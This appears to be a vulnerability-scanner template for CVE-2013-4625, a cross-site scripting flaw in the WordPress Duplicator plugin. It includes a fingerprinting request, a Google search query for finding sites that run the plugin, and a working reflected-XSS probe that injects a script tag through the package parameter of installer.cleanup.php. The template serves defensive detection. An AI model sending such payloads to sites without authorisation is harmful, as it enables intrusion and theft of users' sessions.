id: CVE-2013-4625

info:
  name: WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the target website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to Duplicator 0.4.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4625
    - https://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html
    - https://seclists.org/bugtraq/2013/Jul/160
    - https://www.htbridge.com/advisory/HTB23162
    - http://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-4625
    cwe-id: CWE-79
    epss-score: 0.01217
    epss-percentile: 0.85273
    cpe: cpe:2.3:a:cory_lamle:duplicator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "cory_lamle"
    product: duplicator
    google-query: "inurl:\"/wp-content/plugins/duplicator\""
  tags: cve2013,cve,seclists,wordpress,xss,wp-plugin,packetstorm,cory_lamle
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/duplicator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Duplicator - WordPress Migration'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022009e1a88b1c1bba44ec61ca03e3b7a8ec5321f2d97a4dc7650c6f7cef57516bb50221008147725407bf62aa9fe933b21959437c75e11074471cc2aef3446ec2cf4f12f1:922c64590222798bb761d5b6d8e72950